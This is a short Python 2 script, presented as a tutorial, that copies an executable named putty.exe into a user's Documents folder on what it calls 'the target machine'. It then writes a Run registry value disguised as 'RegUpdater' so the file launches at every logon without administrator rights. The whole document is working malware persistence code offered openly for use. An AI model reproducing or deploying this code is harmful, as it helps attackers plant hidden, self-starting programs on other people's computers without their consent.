Writing Windows System Registries and file transferring with Python 2.x

script.py

#!/usr/bin/python
import os
import shutil
import _winreg as wreg
import subprocess

# getting the cwd
path = os.getcwd().strip('\n')
# grabbing the username using a subprocess command for building the destination path
null, user = subprocess.check_output('set USERPROFILE', shell=True).split('=') # C:\Users\Administrador
# building the destination path (full path)
destination = user.strip('\n\r') + '\\Documents\\' + 'putty.exe'

# check if file exists
if not os.path.exists(destination):
    # copying the putty client to the target machine (destination path)
    shutil.copyfile(path+'\putty.exe', destination)
    # adding a Windows Registry key for the current user
    key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, wreg.KEY_ALL_ACCESS)
    # update the registry for execute the destination file without being administrator or (having admin privileges)
    wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ, destination)
    # close the write/update process
    key.Close()